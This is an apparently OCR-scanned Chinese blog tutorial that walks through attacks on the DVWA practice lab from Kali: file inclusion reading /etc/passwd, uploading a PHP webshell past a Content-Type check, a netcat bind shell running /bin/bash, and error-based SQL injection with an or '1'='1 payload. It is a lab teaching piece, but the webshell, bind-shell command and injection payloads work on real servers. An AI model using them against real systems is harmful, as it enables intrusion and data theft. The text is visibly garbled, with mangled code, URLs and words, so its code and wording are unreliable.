kali-利用漏洞注入

【技能学习1】寻找文件包含漏洞

文包含洞
当用户自定义参数请求服务器中的动态资源或者在服务器上执行的代码包含了某个页面时,就会出现文件包含漏洞。如果让服务器执行了文件包含导致的恶意代码,系统就有可能被入侵。在本教程中我们将测试一个 web应用,看看是否受文件包含漏洞的影响。


实战演练
我们将使用 dvwa作为这次试验的靶机,设置好攻击机 Kali和靶机,开始实验:1登陆dvwa(用户名和密码都是admin),进入FileInclusion 页面。2.它说要编辑 get参数来测试包含的内容,所以我们输入index.php 试试,结果如下所示

看起来没有 index.php 这个页面。判断存在文件包含漏洞。
3.为了尝试攻击,我们需要知道存在本地的文件名称,我们知道有个imdexphp 在根目录下,所以尝试下目录遍历和文件包含。提交参数为./../index.php,显示如下:

可以证明存在文件包含漏洞了!(“/”表示返一级目录)
4.下面我们尝试一下远程文件包含漏洞。这里包含的是另一台服务器上的文件所以我们采用 Kali托管一个文件:
首先启动apache服务器:service apache2 start
5.现在我们利用这个文件包含漏洞,包含一下Kali的apache页面http://192.168.24.128/dvwa/vulnerabilities/fi/?page=http://192.168.24.128/index.html显示如下:

(也可以尝试包含百度搜索页面:https://www.baidu.com/index.html)通过修改参数可以使 web 应用加外部页面,这就是文件包含漏洞。如果包含的文件有能让服务器解析的代码,如 php,那么就可以自定义代码远程执行命令进而破坏整个系统。
原理剖析
点击dvwa的FileInclusion 页面下面的“iew source”按就可以看到源码:<?php$file =$ GET[page'l; // The page we wish to display
这意味着 page 参数由文件名传递,然后包含在代码中。因为它,我们可以包含任何一个在网络中的php或html文件。(要使用文件包含,必须开启allow url fopen和allow urlinclude)拓展...
我们还可以包含操作系统中的文件,例如:../../../../../../etc/passwd 就可以得到系统用户列表

【技能学习2】文件包含和文件上传

6.2文件包含和文件上传
我们在前面的章节中了解到的,当开发人员对用户上传的文件所在的路径不做安全校验或者用户恶意上传文件使其包含当前路径的某些源码时,就会发生文件上传或者文件包含漏洞。如今的服务端开发语言比如 PHP它从5.20本开始就默认关了远文含的能所以从2011 年到如今PHP
的RFI已经不是那么轻易就能被发现了。在本篇小节中,我们将学到通过上传一个恶意的文件,也就是 WebShell (可以在服务器上执行命令的web页面)并且使用 LFI执行它。
环境准备
在这个章节,我们会在服务器上上传一个文件。我们需要知道上传文件的存储位置以便于我们能通过程序去访问它。在 DVWA 中找到一个可以上传文件的地方,任意上传一张JPG 格式的图片,如果上传成功,那么当前页面会显示上传文件的存储路径,像.././hackable/uploads/这样的格式,由此我们就可以得知上传后的文件的相对路径。
现在我们创建一个名叫webshell.php的文件,它的内容如下:

<?
   system($_GET[ cmd']);
   echo 'Type a command: <form method="get"
   action="../../hackable/uploads/webshel1.php"><input
   type="text" name="cmd"/></form>',
>?


特别注意一点,action 参数写入的值是我们通过测试上传一个图片后的提示信息中得来的存储路径

实战演练
打开DVWA并登陆,在DVWA Security 页面将安全等级设置为 medium(中级),然后就可以开始
1首先,我们在 Upload 页面的上传点上传 webshell.php 文件:

当你尝试上传后缀为.php 的文件时,会发现上传失败,这是因为 DVWA 的中级限制对上传的文件后缀做了安全检查,只允许上传图片,所以在这里我们需要绕过这个限制上传 webshell.php。2.说到绕过上传限制的手段你可能首先会想到接 webshell.php 改为 webshelljpg,这种直接更改后缀的办法确实能够绕过对后缀的检查,但是这样的上传是没有意义的,因为服务器只会根据后缀来识别文件,所以 webshellipg 就会被当做图片,当然写在webshellphp 中的 PHP代码是不会被执行的。正确的办法是使用 Burp suite。3在上传选项中选中webshell.php 文件。

4.打开 Burpsuite的拦截开关,然后点击上传,数据包就会被拦截下来,如下图:)

简单分析这个请求可以发现,请求是多部分的,并且每一部分都是对应的标题。尤其注意上图中第二个Content-Type,它包含了上传文件的内容,并且告诉服务器它是一个 PHP文件。(上图两处更正:method="get”,webshell.php)5.将第二个Content-Type中的值修改为image/ipeg 后再放行请求包,然后你就会看到上传成功的信息:

6传成后,我们要使用上传的 webshellphp 来对服务器命令。返回到 DVWA的 Fie
7.使用page参数来包含webshell.php,截图如下:
Inclusion 页面。

8我们可以看到weshellphp 被成功地加载并会有一个文本在文本中输入/sbin/ifconfig然后敲下回车键,你就可以看到出现了文本提示信息,这代表代码被成功执行,如下图:

原理剖析
首先,我们发现 WEB 应用程序会对上传的文件进行安全检查,当然,安全检查的手段是多种多样的,常见的是对后级名的检查和 Content-Type 的类型检查本小节就是后者的情况。要绕过这种保护我们需要更改浏览器为文件设置的默认 Content-Type 值,如上,我们将 application/x-php 更改为image/jpeg,因为php内容是不被服务器所接受的,但是image确是可以的。
For more information about valid types in HTTP communication, check out the following URLs: mtps://evejuper.mlla.org/er-US/lcs/el./Tp/Basic_of_-Tp/MINEypes, nd ilps:///eveliperaurila.org/en-Us/cs /Meb/HTTp/Basics_of_TI/MIME_types/CopleLeIIsL0r_KIVE_ypes
在 webshellphp 中我们使用 GET 请求来获取 CMD的值,然后将CMD 的值放在 PHP函数system0中执行,再将执行的结果以文本的形式反馈在页面中。Webshell.php 被上传后,我们即可使用 LFI文件包含漏洞来包含 webshell.php,然后通过它执行系统命令。
拓展...
一旦我们能在服务器上执行代码,那么这个服务器就岌岌可危了,它已经是你的囊中之物了。
to
我们可以使用正向连接,从服务器反弹一个 shell 然后在客户端连接它,下面是一个简单的例子nc -lp 12345 -e /bin/bash
使用nc监听本地的12345端口然后等待客户端的连接,当连接成功后便会执行/bin/bash,接收输入,然后通过网络将输出信息反馈给连接者,我们可以尝试使用 kali 来连接到受害者的服务器,使用
一下命令:
nc 192.168.24.128 12345
通过服务器开放的 12345 端口后,便可以在服务器上执行命令了,包括提权等

技能学习3]手工验证SQL注入

手动识别SOL注入
大多数现代 Web应用程序都实现某种数据库,而 SOL是最常用的查询数据库的语言。在 SOL 注入(SOLi)中,攻者试图通过注入表单中的 SL来发送更改的查询,从而滥用应用程序和数据库之间的通信用于在服务器中构建 SOL 语的请求中的输入或任何其他参数。在本文中,我们将测试 Web 应用程序的输入,以查看它是否容易受到基于错误的 SQLi的击。

实战演练
登录到DVWA,转到SQL Injection (SQL注入)页面,并检查 Security Level(安全级别)是否为low(低)。1与之前的方法一样,让我们通过引入一个数字来测试应用程序的正常行为。将用户ID 置为1然后单击“提交”。 通过查看结果,我们可说用序据以查看是否存在D 1的用并返回该用户的ID、名称和姓氏。2.接下来我们必须测试如发送应用程序期的内容会发生什么。在文本中引入1(1和个单撒号)并提交该ID。 如以下屏幕截图所示,应用程序应响应错误:

此错误消息告诉我们数据库收到错误形成的查询。这并不意味着我们可以确定这里有 SQLi,但很可能这个应用程序很容易受到攻击。
3.返回DVWA的SOLInjection页面。4.为了确保存在基于错误的 SOLi,我们尝试另一个输入:1”(这次是两个撤号):

这次没有错误。这证实了应用程序中存在SOLi 漏洞。5现在我们将执行一个非常基本的 SOLi攻击。 在文本中引入 1并提交。结果应如下所示:

看起来我们刚刚在数据库中注册了所有用户。

原理剖析
在用于形成数据库查询之前,未对输入进行验证和清理时会发生 SOLi。让我们假设应用程序中的服务器端代码(在PHP中)组成查询,如下所示:
Squery ="SELECT*FROMusers WHERE id-"S GETLid.n;这意味着 id 参数中发送的数据将按原样集成在查询中。如果我们用它的值替换参数引用,我们有
14
Squery ="SELECT*FROMusers WHERE id-'""n:因此,当我们像我们一样发送恶意输入时,PHP解释器将按如下方式读取代码行:
Squery =“SELECT*FROM users WHERE id-"or"n:
结果SOL语句如下所示:Squery =“SELECT*FROM users WHERE id='or'1'1";这意味着如果用户id等于 no 或1=1则从名为 users 的表中选择所有内容,由于1总是等于1所有用户都将满足这些标准。 首先我们发送的撤号关闭原始代码中打开的那个。之后,我们可以引入一些SOL代码,最后一个没有关闭撒号的代码使用一个已经设置在服务器的代码中。这被称为基于错误的SOLi,并且是 SOLi的最基本形式,因为我们使用错误消息来确定我们是否已经使用我们的注入形成了有效查询,并且结果直接显示在应用程序的输出中。
拓展
与简单地显示应用程序的用户名相比,SOLi攻击可能造成更大的破坏。通过利用这种漏洞,攻击者可能会泄露各种漏洞有关用户的敏感信息,例如联系方式和信用卡号。 也可能危及整个服务器,并能够执行命令并升级其中的权限。此外,攻击者可能能够从数据库中提取所有信息,包括数据库和系统用户、密码,以及根据服务器和内部网络配置,SOLi 漏洞可能是完整网络和内部基础结构的入口点。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值